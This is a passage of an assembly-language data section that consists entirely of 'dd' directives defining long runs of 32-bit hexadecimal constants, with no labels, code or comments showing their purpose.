		dd 53B4259h, 451333CBh,	6A7DCA37h, 0F0444271h, 0DD904B2Dh
		dd 92A3B7B9h, 70EFBA9Bh, 855C0C7Bh, 9CBCD31Ah, 3E23998Eh
		dd 0C048BEC0h, 0F7F4F90Ah, 8FFFE5B2h, 6B3C22DCh, 3DBF814Fh
		dd 1F086DBBh, 0E0D4485Dh, 5306A23Dh, 0F4290632h, 4F0CA594h
		dd 9D94C739h, 237B9017h, 0E5647D03h, 5C06CA3Bh,	0C4A619EAh
		dd 72976EFEh, 0FEB00F0h, 0A37EFB6Fh, 65E3D9EAh,	0CAEBF2C6h
		dd 3FEA3100h, 0F4734149h, 44495E27h, 2D2F58B7h,	9DD514A4h
		dd 28B00E67h, 6ADC7EC2h, 6324A8F2h, 0FFAF791Dh,	4C7859B2h
		dd 0F5F733A9h, 3409E858h, 0F49DDFA0h, 1C8BA0D9h, 0AB52B9E5h
		dd 2BB61A82h, 85CCE50h,	40C2E5B3h, 4D8314FEh, 7AE8AB2Ah
		dd 0EA4662B8h, 55647571h, 0ED304C5Fh, 0C11ACB79h, 0B24BAF07h
		dd 71FD53B8h, 46438272h, 53A2F87Fh, 0ABF12E76h,	7793749Ah
		dd 0F051929Fh, 0B266257Eh, 0FBF1BF05h, 8C580882h, 0BBC3FEA6h
		dd 1E0C713h, 0B304BEA6h, 47886808h, 841F2A98h, 3FC474E8h
		dd 0B6086340h, 0C5A9D82Eh, 3059DD6Ch, 8C6C9D65h, 13D0A11Fh
		dd 90C103ADh, 0AC7A0C8Eh, 0CF7C79C8h, 4D48082Ah, 23A871F4h
		dd 3612F501h, 712EA086h, 7A491321h, 619EE93Ch, 0FD516FDFh
		dd 0C1070E4Fh, 1624AB14h, 0CCF861A9h, 1AA7C92Fh, 67C1CFA2h
		dd 0AD99C179h, 0C96FB314h, 96B7B040h, 496EC1Fh,	9D65F340h
		dd 8018A3DCh, 0A06298D7h, 3FF236E8h, 37A01FDCh,	49C04832h
		dd 546C9A0Ch, 2A84E066h, 3380956Fh, 0B2954E85h,	6737305Ch
		dd 385E7F73h, 93812FE2h, 0ABF4D831h, 35343AA5h,	237C93E7h
		dd 17FF2E09h, 6D54A404h, 4FDE99AAh, 3612B98Ah, 591F4F5Dh
		dd 0C52F9670h, 88B5CEBDh, 0A6F4CE27h, 827BB195h, 9822E889h
		dd 1DF31184h, 0E95F06Bh, 0E83FBB7Ch, 0BBE23C15h, 85F75CE5h
		dd 5EEA46BFh, 0A0BEB329h, 0E0E59D6h, 68E70988h,	0B2A52E51h
		dd 0F24B6010h, 0E12D1E6Dh, 0E20FE569h, 0D0D1D8D6h, 2AF1F70Dh
		dd 21714522h, 8B0BB549h, 72E094ABh, 0CCDEB449h,	8475BA50h
		dd 0B0B7BE01h, 785F0F8Dh, 0CF819AABh, 0BA62F383h, 858C1626h
		dd 0F2F456C3h, 0E438C9B9h, 0C38BB193h, 0AB2C6B45h, 0EF4572B1h
		dd 839E408Fh, 0C6EC8EDDh, 64AE6F52h, 0A5A0B1DFh, 27B4D734h
		dd 0CD3B5325h, 0D3D49150h, 0E06CEE31h, 782DE23Ah, 0B7C558D0h
		dd 1A4E44C7h, 81806B4Bh, 5839E43Ah, 4ED5F5C1h, 0DCDABA02h
		dd 0AEC29BCh, 9D8E1437h, 0D3382997h, 0C1A22DFh,	0C5C71631h
		dd 799EA3Dh, 0F1FD7595h, 0AB90E1B5h, 874E5BF2h,	1F6367CFh
		dd 0C32C9CCBh, 0DFBB0719h, 7CC568FFh, 45E88AC3h, 488A10A1h
		dd 6DA9B54Dh, 9518568Ch, 7CF15925h, 5ABF3A37h, 0C8951018h
		dd 563820A4h, 434C8847h, 35F2D5A1h, 0C59BD9A2h,	9105ED20h
		dd 49AF2593h, 0B1DCFBBDh, 6DA65DC7h, 2B31D601h,	2A5F12F7h
		dd 15C974F9h, 0CB29D750h, 1552987h, 0E2A6424Ch,	824258D1h
		dd 3ADF349h, 8CE810FCh,	99E3595Eh, 6DB32AE1h, 629C9BC2h
		dd 0CE5C86C5h, 1C6F00C6h, 4E8A5312h, 0BF692FB7h, 0B2033839h
		dd 0E94CCD4Ah, 0FEEBD21Ah, 0D683D3DDh, 2709677h, 7567F9B1h
		dd 0A3D0BAF9h, 6E4F1D59h, 0F393A128h, 439FCF6Fh, 918C7F3Dh
		dd 85641FB0h, 11E85C71h, 5A3F9373h, 0DE0805E0h,	74438EB6h
		dd 17E921Eh, 0D68AFAA9h, 5F963C25h, 0D559CCF0h,	800CC56Dh
		dd 21806F29h, 33A99E19h, 0C2C6E40Bh, 0AEB9F4E1h, 0FB03AECEh
		dd 596EC77Ch, 4FB4F1CDh, 0CAFCBDD5h, 783EE02Eh,	9EAF8642h
		dd 0B38B2FACh, 0CE8A7066h, 0BAB3AC3h, 0A3670669h, 3BBF93CDh
		dd 793183C7h, 0C32A90FCh, 0F73C1A4h, 0D5168438h, 8EBAB08Ch
		dd 8A4D9339h, 0AED0C4F0h
		dd 0CCD0AC2h, 0F50291E8h, 904DD858h, 6B33CCB5h,	93C93AB7h
		dd 7D0C950Fh, 5B4001C3h, 4360781h, 6EAA3CE0h, 0A6984204h
		dd 5447C715h, 0D3E1158Ah, 0D1BB7EB6h, 5AA8D5EEh, 0DD96FA7h
		dd 78DC7EA6h, 34692FC4h, 0CAA76C0Bh, 50AACE64h,	62205440h
		dd 0F4365DCBh, 367C39D3h, 95113913h, 0C6215CC6h, 387F9138h
		dd 739218BDh, 0F6DC6C15h, 0DF4468A1h, 9295B158h, 1190D33Ah
		dd 609FDBE7h, 0CDAEBD06h, 0ADFB2DE5h, 8580D374h, 0E19CD747h
		dd 0F133960Fh, 2F06DA13h, 7FF9369Bh, 92274721h,	0D0526BBh
		dd 65BC06A6h, 9794608Eh, 2B6B30B4h, 85CA7351h, 0D815E79Bh
		dd 0B9BC9DA9h, 9909D7E3h, 2804F85h, 0DF17C587h,	0A8452E3Ah
		dd 0D8D70756h, 0F35A40A0h, 0CABC9C06h, 2C980E85h, 0E6FF7294h
		dd 0F50E976Bh, 80B2111h, 3119D154h, 13A4986Ch, 484EBh
		dd 686365CFh, 6D829958h, 0CE9FC184h, 0B6ED77ACh, 9875924Dh
		dd 0B4F22448h, 0F506B26Ch, 250FF158h, 2C544825h, 0D6581F59h
		dd 0B650CF86h, 0F125C909h, 0B260B27Dh, 60C4D991h, 24E4884Dh
		dd 0BB6452D1h, 21754426h, 0EB9D08D0h, 38D6A2C7h, 8703EFC4h
		dd 0A20DE148h, 51656676h, 0C06D733Fh, 36C4E6B0h, 1EF7B231h
		dd 0FEF2DE6Dh, 0DE53E363h, 0CEA09965h, 0C193D292h, 664C5B64h
		dd 1B6450CAh, 9FC8A598h, 0CF85BC57h, 8CE31E8h, 3FFE2153h
		dd 0BEDEFBECh, 465761ACh, 446209A1h, 76E91462h,	67A1AE09h
		dd 2BAEAB4Ch, 0E5560A7Ah, 573D699Dh, 55FB1B7Ah,	3B838A7Bh
		dd 0C36424D2h, 62383C7Fh, 4EF6233Ch, 0FF6635Ah,	0F513ADC8h
		dd 0BC2D79CDh, 96A82F40h, 6E76DE7h, 0F65D44B5h,	0F8520EA9h
		dd 5B9CC7E5h, 0B52DE3F6h, 8EF13973h, 0EB223D56h, 3D753C9h
		dd 9EDF79E9h, 143C1A96h, 5BBC1AD9h, 0C30D6C73h,	0FC3C720Ah
		dd 0AA5727B8h, 480B604h, 0BF981E33h, 3AB3BAC5h,	6657D4E7h
		dd 5535ABB8h, 68883CD3h, 5EEC0443h, 1DE836h, 14E43175h
		dd 1032DB0Fh, 4895569Eh, 0B840996Bh, 149A50C4h,	228B4287h
		dd 0A8E0B990h, 0D805D250h, 689E9E2h, 8B96F8D5h,	0D512D914h
		dd 7EF152CDh, 0E6E4E1FFh, 0DC4CD30h, 551EC4C2h,	0AC971B8Bh
		dd 0D86B6101h, 4F396994h, 93738158h, 5BFB9CCAh,	6118C802h
		dd 0DD7361DBh, 0E370ACF8h, 23425AE5h, 1AC335CEh, 0AD417A48h
		dd 12B6F1ABh, 302E881Ch, 0ED6C9E43h, 0F008A614h, 706EA0C1h
		dd 40CDE1EFh, 9890EC9Ah, 63EF858Bh, 6332CD94h, 0EBB5AC79h
		dd 43612184h, 9FEBFC07h, 89E9F029h, 0CC126E05h,	0D5DCD029h
		dd 1C87040Ah, 304DEB66h, 0F638FFFEh, 0CAF22AA4h, 0AC986C03h
		dd 1F8A652h, 3F6DEE5h, 0E796E313h, 7127EE02h, 1D7A96C3h
		dd 3604C84Eh, 0C9053C7Eh, 0C1C57925h, 7EDEEB77h, 0EBC796ECh
		dd 1A781E27h, 59850036h, 0D1D5F9F3h, 0C2C38286h, 0F6EE4919h
		dd 0CF5F9549h, 45336DB3h, 8729B760h, 0AFB81AA6h, 0F624B67h
		dd 921A0D97h, 4B395F76h, 0E697EB3Fh, 16B7DC2Dh,	0A3759D9Ah
		dd 5370C476h, 34FA1724h, 4E24FC62h, 5FA524AEh, 0E97A1EA5h
		dd 4121C737h, 6FB49229h, 0D06EEA5Dh, 1AA0C2Ah, 0E8D729FFh
		dd 6E2CE216h, 0C1169E8Fh, 0A77C69CDh, 0E3F03D1Dh, 0A9ED1A83h
		dd 7AAC7D10h, 30E90ED9h, 0E603B2Ah, 0D852343h, 8A7F8F38h
		dd 0AB664EDAh, 0B8754C52h, 23769236h, 55F8EE3h,	8BA4B83Eh
		dd 0CDA37A12h, 4240EB7Ah, 55B47F75h, 11254717h,	0F2DB8678h
		dd 77AB3FF1h, 0A41088ABh, 0C1F9F280h, 629FC99Dh, 51329BF5h
		dd 90ED0312h, 21B38CECh, 241C7BBAh, 0E00DCD88h,	6767BB10h
		dd 8341353Bh, 410BCAD2h, 0DFE7F600h, 81FEE33Dh,	0EB053613h
		dd 0D76493CFh, 0FF92F3BAh, 0C08CEEBBh, 9A494488h, 0F6C9BEA6h
		dd 0DBAB0461h, 44B4450Ah, 13C0E1E2h, 0A857AAEFh, 8FE9B084h
		dd 210B2019h, 2C886A84h, 48FC80AFh, 9D5062B3h, 36292FCCh
		dd 89F467Fh, 41FDA107h,	0E5397169h, 0D64654E2h,	53A020EDh
		dd 2B1FC686h, 0E51DF336h, 0F8D83FE2h, 5B58DCAh,	0E1465E67h
		dd 0E9D55518h, 364032D0h, 0ADA19B9Eh, 46237E3Bh, 0BF2BEEh
		dd 0C03ADD32h, 55BF1AD2h, 92A8EF0Ch, 2088DED3h,	0E98185E6h
		dd 6349BB3Dh, 96917786h, 45484CD3h, 0F734391h, 424796CCh
		dd 0B3E48EF5h, 71C8C619h, 998431Dh, 6DF61347h, 0A41DC341h
		dd 828C0DCDh, 28AED5C9h, 0DD088A80h, 457D61BCh,	1ACDA705h
		dd 0AD661A26h, 0DF0A5752h, 216EBAE9h, 0A0B432DAh, 0AC230D8Dh
		dd 78C28048h, 0C7830F14h, 37B5CD80h, 9A1E39C6h,	8DCCB29Bh
		dd 6CD8A118h, 0FD25CCA3h, 68B9E620h, 0F4CC6880h, 0A84B1443h
		dd 0AA91CA14h, 0CC7A9831h, 66AE66E2h, 4C1A46DDh, 743F079Fh
		dd 67B09553h, 70A5BD00h, 0FC5AD8FDh, 0DA884BDDh, 0AE906C21h
		dd 510B6197h, 0A99FDB22h, 2A1E8724h, 0A0E598CBh, 6FEF1146h
		dd 4E56B0C2h, 0B507A5E0h, 0A79CEA94h, 0D526F9C0h, 0CDC77CC1h
		dd 0B5099670h, 0B7E8DA59h, 2A9E1DFDh, 0AE20B71Eh, 777B4122h
		dd 0FD054E23h, 0EA708D45h, 91DE113Fh, 2154CD3Bh, 0FD817849h
		dd 8AD1F575h, 0BB323857h, 25DC87EDh, 7D9996Ch, 0E2670A44h
		dd 0F4A166C4h, 727268C2h, 21C4B29Eh, 711852AFh,	83875806h
		dd 3EB779D0h, 6958220Eh, 0D1042992h, 0A2CDDC57h, 51DD74A3h
		dd 3F54BF3Ch, 4B879A37h, 947BED07h, 63D7AFDEh, 0EE9FCDEh
		dd 0F27F9D95h, 0DADE541h, 0FC416162h, 29005E84h, 29F19113h
		dd 27243441h, 0F3CCBBA0h, 0ABFC2537h, 0ED2F2C7Bh, 36DF2427h
		dd 0E5F9138Dh, 502D6E28h, 2E0316F0h, 0CD2B6553h, 9A130D0Dh
		dd 0B95301DAh, 0D2EFAF33h, 0E2B61118h, 26B0633Ch, 83CF4BFDh
		dd 0C80137D9h, 857F5F2Dh, 9AE42AEEh, 3E4CD9DAh,	0BD948D2Ah
		dd 0A28A10F1h, 1FF26B5Dh, 320A2057h, 0A77C46FCh, 30C99C5Ah
		dd 0C26B3FAAh, 0DA41EEDCh, 0EABB3246h, 9A7CC2A8h, 48E06468h
		dd 0F4355982h, 7C187A72h, 0E7C82616h, 7815BDC8h, 0F15E3070h
		dd 0DB1B7E09h, 955C39F2h, 9BFC246Eh, 9269A3E9h,	0A3842DFBh
		dd 5BD6E668h, 5E4E1AADh, 0BAC14813h, 46DCEF82h,	9FEC7FA3h
		dd 7DF91308h, 0ADF79F00h, 23E4E001h, 0DE613FDCh, 307B7A4Eh
		dd 6F4F6919h, 236003FCh, 565D80F7h, 874B7BF2h, 2F03E844h
		dd 3C142176h, 0BECBE457h, 10478959h, 0A6B98D5Ch, 46E8089Fh
		dd 0F28BAB2Dh, 0F2887F8Bh, 8AEDB4B7h, 0A5D5F2DBh, 0E1B1CE3Bh
		dd 5A749964h, 79E506B8h, 51D0E202h, 0FE7FD58Ah,	0D91879FFh
		dd 7071B8F7h, 0DF982225h, 5AFE3771h, 0AF356AD2h, 0D801DF27h
		dd 0C9D484F7h, 92BAE5C8h, 0CB866B2Fh, 19AF8595h, 56BD017h
		dd 718E5C5h, 7A402BA2h,	833E8B3h, 0C50B5C5Fh, 5B0B93E7h
		dd 0ECD53785h, 0AB1658FBh, 0F65AFF30h, 1C30C214h, 893F119Eh
		dd 9392D422h, 5DF1F794h, 7619D24Ch, 2330063Eh, 21B1E4D9h
		dd 0B752B649h, 0D0F63EE7h, 9849867Eh, 535A4C63h, 32981CECh
		dd 0B5F5FD36h, 1BBF71B0h, 7C0C8CEh, 8C6A4E36h, 0A1DB9B5Ah
		dd 0A11B2C65h, 1C54BCB3h, 3580F354h, 89DE32A6h,	8B309FA7h
		dd 48E1D178h, 0C82B1D20h, 0F28974B4h, 0E90656C0h, 0E7171AABh
		dd 7F451DA1h, 0EE55DB99h, 7C0F9620h, 7062B3DDh,	0B4C88B70h
		dd 0DFD5A06Fh, 0BA55B177h, 0A615999Eh, 6609B9B1h, 6B15AFBDh
		dd 0AE981436h, 64CEB6FBh, 16AA9326h, 2AC7D5B9h,	0DF916D66h
		dd 0C7F7FE80h, 18D60723h, 10825120h, 0A1188C17h, 4933C3C6h
		dd 0F68AA0E8h, 0BBEB67D6h, 0A0859620h, 77BCAD05h, 35F03008h
		dd 0E9A3E2AEh, 20C3C263h
		dd 288CAC3Dh, 72BFF51Ch, 11E1805Ah, 0D7587125h,	322331C1h
		dd 851CE072h, 0BEAA0FD4h, 0D801B904h, 0F8B16F1Dh, 8A6FB879h
		dd 54472E92h, 4EE67415h, 0BB500C5Eh, 0ED70F988h, 0FC05D3D6h
		dd 0BA913D58h, 0D6E8131Eh, 0E26ED1CDh, 822BDEEBh, 2E8944B1h
		dd 8B831B6Eh, 611D4744h, 48FBAB04h, 5C69CD60h, 3F35627Bh
		dd 24F985E6h, 0D11E6A63h, 1E2B61DEh, 405FAF36h,	0C29B64E1h
		dd 0E024D6E2h, 4F10F258h, 0D3A73E18h, 3B2F3CE5h, 0CC851472h
		dd 8A64DC4Ah, 0BE0DE86Ch, 93F7F092h, 0FF2689E3h, 0D7BB79CFh
		dd 0ED03C2Dh, 17A88F5h,	0C1C054B2h, 48D9C2ACh, 0D58D6841h
		dd 0E733E67Bh, 21B79BBCh, 0A8C0B5A9h, 513B4107h, 60C954E6h
		dd 0C820A486h, 8AA95A50h, 62EAFEA4h, 2C6CE729h,	0A0E86D54h
		dd 810054E8h, 825052CBh, 569498FBh, 0BB4D933Fh,	10C8D0CDh
		dd 761078ADh, 0BC71A5BEh, 68A81346h, 0F4636B06h, 0B137B4F8h
		dd 48C9CC92h, 63D0F783h, 0CB473E3Fh, 0D4FB469Eh, 0E46BA4A8h
		dd 8DE34700h, 0C70F91D3h, 0C5918AC6h, 0DBE71975h, 0D776C4h
		dd 319E8ECEh, 8A9A36DAh, 0E8D0FC90h, 0C0960FE2h, 6E87F78Ah
		dd 0C9FFDCB7h, 0DC96E39Ch, 8FCB39D2h, 910ADC6Bh, 0FF1BBA55h
		dd 0F1632FFBh, 7B3B7067h, 2B30F098h, 4683CDD8h,	9E78B7B9h
		dd 0B5D60C57h, 5D06AE38h, 0D7BC4E9Ah, 0F52E8A86h, 4A179CA5h
		dd 0B22926DDh, 0BBA3758Bh, 702AA721h, 0FFDFC2C5h, 82BA79CAh
		dd 0C811D098h, 7C16E5Dh, 4F65FF7h, 1EA7A3C9h, 24D079A4h
		dd 0A2562E9h, 1B8EFB45h, 0BA78A70Fh, 7BBAB809h,	0E9F0E40Fh
		dd 0B65B03EBh, 17548A8Eh, 0BA7F79B8h, 55AC97B0h, 514FFAF0h
		dd 9D4A03FEh, 35A483E1h, 4C6EBD69h, 2195432Ah, 2DD6D1B6h
		dd 4EF92F9Fh, 88983D19h, 0B57C71AEh, 6869CCDEh,	67A3E22Ah
		dd 20A25113h, 0E7C24BA1h, 365BEF3Ch, 96AD57BEh,	0AF6BBF21h
		dd 0EF4964EEh, 41F62AEAh, 0FE4720C2h, 52A9B6C9h, 505A0B92h
		dd 601075E1h, 0B7CD79E1h, 84E2D9E4h, 9F7AA780h,	5EE3BF5Eh
		dd 84AFB0ACh, 0A3711081h, 0AE35ACE2h, 40E9C57Bh, 453E16A5h
		dd 558F6A34h, 69B688BEh, 7104C8FBh, 83837ADEh, 6D615D16h
		dd 66F7FC3h, 7F2CE83Ah,	9806B65Ah, 0CB4AD2B7h, 4EA273D6h
		dd 659D19BAh, 18482A9Dh, 0A1073837h, 0DF7864D5h, 120A199Bh
		dd 2433143Fh, 7576830Eh, 0D4CB6A9Fh, 6DEC8FF1h,	0DE8F2D83h
		dd 0FB57CC5Ch, 0E13C4B70h, 0CCF13A7Eh, 0FA3BC070h, 2B373888h
		dd 0E65A68C5h, 66707EEEh, 0C512A87Fh, 718E4F33h, 0EA7BC18h
		dd 4F087D65h, 288F6DFCh, 30B4E5BBh, 8081C62h, 6CF75473h
		dd 0D7FCB890h, 0E0644AAh, 0EFE18473h, 0B1B7AF42h, 7808E32Ah
		dd 0C9FAA0Dh, 1C5ABBADh, 71891A1Dh, 4544D5ACh, 1BAC47CCh
		dd 0EF6A5201h, 0C7F65B76h, 0B765BD94h, 420C09B1h, 0EBC5AB93h
		dd 0FBC30640h, 263DCB6Dh, 2A1132F5h, 21FE6A94h,	111C4FBFh
		dd 0FFED2DC3h, 36B12C8Eh, 63B0698h, 0B9FB2AF6h,	0B0360E02h
		dd 85AFF915h, 0FE581084h, 0B8C8F54Bh, 17B393B4h, 3A70FCD6h
		dd 68BEEA9Dh, 0E13A39C0h, 9AE8C82Eh, 2FEF8A2Bh,	9E6723Eh
		dd 7622AFA1h, 2045E148h, 9DFC47E6h, 0FBBE8FEh, 5F65C134h
		dd 1B2F588Bh, 854383A6h, 0F908C98h, 0AFA6A8D5h,	0C91DFF7Fh
		dd 0A7411459h, 3BDD9875h, 4CD719BCh, 698B718Ah,	226C4496h
		dd 0B616FA6Ch, 6BBE854Dh, 39B861C1h, 894B1790h,	0F03360E0h
		dd 24633F39h, 29640D6Dh, 51C3B9Bh, 0FEF23F0h, 0C4CB9C8Bh
		dd 0A8E6DA1Fh, 0D4E5B182h, 4FC7E6E8h, 4DD2ED63h, 13D9CC0Ch
		dd 2ECFB4EFh, 0EEBBF71Bh, 941B715h, 5E73B1DFh, 23202734h
		dd 0E19B8320h, 59F963D7h, 2E47474Bh, 90E3B0C9h,	926BF902h
		dd 5AA0EA45h, 5D12EE3Dh, 31818258h, 7FFC2A46h, 0B6E8FB10h
		dd 500349ACh, 725F8297h, 2185ABDFh, 43EE58C9h, 8786B297h
		dd 0B3B6AA04h, 721D6E24h, 78E17CF0h, 18ECCD2Eh,	4DA61F9Dh
		dd 8439D2Ah, 32EE0199h,	7AE89733h, 4C245E01h, 4E8B640h
		dd 8FF794DCh, 8ED6E64Dh, 12E4DBC9h, 42A4DDF8h, 0EA0C0642h
		dd 6BB8357h, 66B98AD9h,	800FA53h, 61EBC9D9h, 7670C908h
		dd 9542D4E3h, 0C1103D61h, 7D893D11h, 59DF6C28h,	46C98AA5h
		dd 88EDE0Ch, 41F73394h,	0F87C5387h, 0A7744894h,	81DE36B1h
		dd 0D4D5E641h, 5FE07AD6h, 0DFC6480Dh, 0D62CD071h, 87CB59ECh
		dd 0EB19786Eh, 0A4C4AE71h, 0D6C1C307h, 0C8DF9C6Fh, 0CF07C25Ah
		dd 0F8C6AC57h, 388CFB58h, 0BCA1D4FAh, 0CF55BC91h, 44191254h
		dd 0C7441947h, 5DACAA74h, 0FC689E86h, 0D30FC356h, 6639963Ah
		dd 6CBBE781h, 89CB45B6h, 0D4FE68AEh, 0EFEA91E1h, 0A70F839Dh
		dd 20155761h, 9D81D75Ah, 141ABF18h, 6FB86C80h, 1AEBDD80h
		dd 0A65C636Dh, 565DE78Ch, 6FC1A0A7h, 539F4777h,	5D514C3Fh
		dd 23AC527Ch, 73CBA9B9h, 1B9E0692h, 0AE31FBFBh,	0A4E97760h
		dd 30633B74h, 17B6F866h, 0DF9B5E7Fh, 69BAF035h,	967E137Bh
		dd 8AA86AC1h, 79A33A1Dh, 76D24FA2h, 0A28EBEDCh,	5012235Dh
		dd 0FC924E39h, 0DAD85BF4h, 0B2B6A9A3h, 0CB0C2902h, 31BDFEDDh
		dd 2B6108FFh, 7B396A04h, 16FA9B5Fh, 0DA293106h,	754B2F91h
		dd 0DBD837Bh, 529BCDFEh, 0AAE1E287h, 56278B5Dh,	6126E691h
		dd 786447A0h, 8FCD6020h, 0D4C519C2h, 0DDD0A1B8h, 8A1A322Eh
		dd 0D66501CFh, 3E913468h, 6FBE2F4Ch, 0B758307Ch, 0A5052D02h
		dd 5BC375BDh, 0F87D2B61h, 0B073936Dh, 0D4BDFD58h, 0FCD0EBABh
		dd 854D52E1h, 5FC564ECh, 0BF50642Dh, 268B50CCh,	0DA695B12h
		dd 0C0534F00h, 0D3F0A59Ch, 16167767h, 81FC7A35h, 52D8FC3Ch
		dd 0B7C563B6h, 0BCCE31AEh, 59328F39h, 0DFD03AD8h, 5CBA1A04h
		dd 382CBDE5h, 0CB24A09Ch, 0CE15A1F3h, 7E0565AFh, 0DC2F87CFh
		dd 26FB3683h, 0D82AF532h, 0E2F01C19h, 794AABC4h, 0F66B72D8h
		dd 6A164EB4h, 0BDA09E62h, 3F4D075Bh, 4E76FC7h, 6C6840C8h
		dd 78AFC044h, 5835DBA6h, 3B0DC484h, 4781C696h, 31FE6F23h
		dd 49AEB200h, 1B47EA86h, 4450FE85h, 0C0CC5750h,	0BACA1A5Eh
		dd 74C84E25h, 64C84E31h, 22B62298h, 0BE15968Fh,	0F2E58457h
		dd 8A2CC958h, 3A5DF7D5h, 93E03602h, 3DA7B80Eh, 0AF24DA03h
		dd 0EA3CA2DFh, 4FFDE77Bh, 1E788B90h, 0BFC5CA09h, 2EB89490h
		dd 0FDC60A9Bh, 7E6E40EDh, 61587BD5h, 5F77D8A5h,	0D96DC176h
		dd 7D7FF85Dh, 5BC6AA9Ah, 0CCB31E2h, 0C1F23517h,	0C4611933h
		dd 5828E974h, 0E1C7A1Ah, 296301EBh, 0AC054EE2h,	24BA83A5h
		dd 0A9C488EDh, 757357B5h, 649C3D76h, 398FAC0Bh,	0E8CF0CFCh
		dd 0A2A3D2CCh, 0C14A6CBEh, 2EB325A5h, 5A99DAD4h, 0DEB5D182h
		dd 3C3E7973h, 0E932752Ch, 0E4A2B4DAh, 0A8358734h, 5770288Eh
		dd 9FEC0DE3h, 0A55A4804h, 0C2E589BEh, 0AA7CA5ACh, 81064ABCh
		dd 0D5AB6CCBh, 0B69BDFF9h, 15611493h, 0B8B524FEh, 737D5A58h
		dd 0BB767B24h, 446C0F28h, 14FCE2F0h, 0D05EADBDh, 0CA070BCBh
		dd 9F7699A8h, 24787B5Ah, 1EC792ABh, 4D574F0Eh, 0BEA374D6h
		dd 0AABA480Eh, 0D7D87026h, 72D4AF9Dh, 0E77FC53Bh, 0D3079A69h
		dd 2CF72813h, 9B47CD2Eh, 98628DACh, 8A363339h, 0EE048D5Dh
		dd 37CAB1F0h, 0C2B6A877h, 414B46B8h, 64910954h,	0BEF47C31h
		dd 0CC9E29C6h, 8F802C31h, 0CE5ABF91h, 3DBCE570h, 7C9FD58h
		dd 9A3701E6h, 8633409Bh, 46C961EAh, 5A1AA7D5h, 0B082918Bh
		dd 331C56EDh, 0D1884A75h, 0C0F94C5Eh, 186FA5D6h, 0B357673Ah
		dd 8BF5E9EFh, 2C7F51F3h
		dd 0CFC127F0h, 0CB7ACED2h, 0B3273C46h, 0A318F501h, 1BF1B330h
		dd 6B8658F1h, 0BB06CE06h, 600D15D9h, 0CD91763Ah, 5024A908h
		dd 62D35121h, 45519F7Dh, 0E21303F0h, 0F3008175h, 53836BC2h
		dd 98939F43h, 0EE4F61C2h, 0D4B26649h, 181A0344h, 0B9B6E619h
		dd 0D1EB14F2h, 50DB9B4Ah, 865F97DEh, 657D86h, 74BC1274h
		dd 5632F07Ch, 7CE1DFFDh, 0F90BEB92h, 978B6A0Ah,	20EEAC3Ah
		dd 35327041h, 1E5AFC37h, 0FDB2D0FFh, 0E2797FB3h, 71CC95D7h
		dd 590CD2DEh, 0B9FD3A23h, 7E2F1F90h, 785D0C67h,	0C491BF3Eh
		dd 0EAA20099h, 2F11914Dh, 64AF0918h, 0D7EBB774h, 3DCDF4E1h
		dd 3577CB34h, 700661F4h, 9827E1FFh, 0C165FDE8h,	0A3502102h
		dd 6FF585ECh, 0C1DFBE2Ah, 3713847Eh, 0F2B2BDDCh, 0CF9F4541h
		dd 34D97CD5h, 1B8F6DC9h, 503CD142h, 0BA55D6Bh, 0F9977F2Bh
		dd 2CE4BBD4h, 0E5EFDFEFh, 92C2AE27h, 0B7725A92h, 0D161752Bh
		dd 0FDC7F408h, 3AB4B7AFh, 0E87A499Fh, 1A01209Ah, 0B566C304h
		dd 1BEA1EC3h, 970E87C6h, 87668266h, 76C983E7h, 0F68A7434h
		dd 224372B2h, 0E6826324h, 0DBC584F1h, 0C213C5EEh, 133ACBF6h
		dd 1E3B820Fh, 0D1CCBC4Fh, 71C4770Eh, 7B3A1E07h,	701E3C77h
		dd 59C4CB5h, 4D3A103Ah,	0A850FC04h, 0C472E369h,	80E7612h
		dd 28CA7E75h, 6365672Fh, 9511EF5h, 4AE78536h, 0CC834AA6h
		dd 154C05D6h, 0DD0EBCCAh, 0C89FED86h, 84B368D1h, 0D36EE072h
		dd 466A3162h, 5E3DEFE9h, 7BBEDCB6h, 99F4207Eh, 26E414C3h
		dd 0D7EC97B8h, 0F9EBECC2h, 386E6EBBh, 0A541AAA0h, 0DA2CE5FBh
		dd 782A3451h, 0ED7F56D8h, 131D4AE4h, 2FC82C77h,	1FA48150h
		dd 1B4743EDh, 4BF8FD95h, 24103554h, 47D7D422h, 2626EFD5h
		dd 0A46A2B98h, 667E890Bh, 0BA9EA116h, 695335D4h, 2A17A92Bh
		dd 457F6C3Eh, 0F8CDF5EFh, 58EEA9DBh, 0BC469CAFh, 1BF116E0h
		dd 0F6F80F82h, 29AB6F6Fh, 6ED3E0Eh, 6F5F75C3h, 9C0B37C7h
		dd 9FED69E9h, 4E6CA675h, 0E3136537h, 46C54E6Eh,	6BA1CEA5h
		dd 71CA84E6h, 0B73B123h, 0B3DEE92Ch, 0FEC582BDh, 578D0E35h
		dd 811E5B3Bh, 924A058Bh, 2A9DBC76h, 0F99B68F8h,	0BFB280C9h
		dd 0C370714Ah, 6BA27B76h, 3261083Ah, 84EAB729h,	0AA870DD6h
		dd 0B18EDD64h, 95BC4A74h, 8AD2C5F1h, 0B978BCC4h, 0D165D030h
		dd 76001F22h, 983DBF9Ah, 5EEDE61h, 16B21478h, 948E63D9h
		dd 7D82B695h, 85E5689Ah, 587D8E43h, 21BF4199h, 0EE265CC3h
		dd 0E1B67001h, 0CFF902B7h, 0F8D9611h, 876B78B3h, 0CB5F5985h
		dd 0E08EE96Eh, 0F5090240h, 362ED90Eh, 0AA5ABB75h, 0D016E71h
		dd 8A11DA0Dh, 8DDCDDE6h, 9B4F365Dh, 1C3D5E8Dh, 0D198421Fh
		dd 0E4815C7h, 5EB72E21h, 0BF626DB7h, 0AF7BD617h, 2C7DA1CDh
		dd 0CD5A6819h, 0DEC10AFDh, 12C0D436h, 0F7841651h, 9FB68AC8h
		dd 42D86804h, 0B6A90BCFh, 542C0DA5h, 0F531914Dh, 3B2F14EFh
		dd 1E79F1EEh, 884CBA57h, 434D4FBFh, 0D9ABFB25h,	0CDB6264Ah
		dd 53C5ED39h, 8192DD74h, 35B381F1h, 64785906h, 0D88E9D50h
		dd 0C99803B6h, 61FFC5Fh, 6BD8D114h, 0A704291Eh,	0A5AD6872h
		dd 0E478AB22h, 0E37F921Bh, 0A15C7A1Bh, 0EE7688D3h, 76926284h
		dd 0C5F2053Ah, 7E4FF1A1h, 3F33D588h, 0D2E460CBh, 0B3D8B696h
		dd 0F3783591h, 58A735D9h, 0E8987D58h, 78EBDB7Bh, 1965AEDEh
		dd 31DBA11Dh, 8550CAFBh, 259EE0DEh, 452EF20Dh, 63EDF3E6h
